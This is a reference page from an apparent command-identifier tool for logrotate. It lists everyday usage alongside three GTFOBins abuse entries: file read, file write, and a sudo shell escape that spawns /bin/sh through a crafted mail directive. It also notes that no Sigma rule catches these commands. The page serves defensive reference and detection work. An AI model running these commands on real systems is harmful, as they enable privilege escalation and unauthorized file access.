Ceplin Command Identifier

Identifier / Programs / Linux and Unix

logrotate

Rotate, compress, and mail system logs. tldr-pages

GTFOBins file-write, shell 1 ATT&CK technique 3 documented commands

Opens the identifier with your command. It is read in your browser and sent nowhere.

How logrotate is abused

documented by GTFOBins

file-write

-l

shell T1059.004 Command and Scripting Interpreter: Unix Shell

-m
-f

Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for logrotate.

3 documented commands

from GTFOBins, each read by the identifier

file-read unprivileged, with sudo, as SUID

The first word is returned in a error message.

logrotate /path/to/input-file
Identify

file-write unprivileged, with sudo, as SUID

The content is written in a log file.

logrotate -l /path/to/output-file DATA
Identify

shell with sudo

This command is picky about file permissions. An existing config file can be used as weel, provided that it contains a mail directive.

echo -e '/path/to/temp-file.config {\nmail x@x.x\n}' >/path/to/temp-file.config
echo '/bin/sh 0<&2 1>&2' >/path/to/temp-file.sh
logrotate -m /path/to/temp-file.sh -f /path/to/temp-file
Identify

None of the 3 commands the identifier reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for logrotate. The identifier reads the line of each that runs logrotate.

What detects it

Sigma process creation rules
T1059.004Command and Scripting Interpreter: Unix Shell

Everyday use

from tldr-pages, CC BY 4.0

Trigger a run manually

logrotate path/to/logrotate.conf --forceIdentify

Run using a specific command to mail reports

logrotate path/to/logrotate.conf --mail /usr/bin/mail_commandIdentify

Run without using a state (lock) file

logrotate path/to/logrotate.conf --state /dev/nullIdentify

None of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.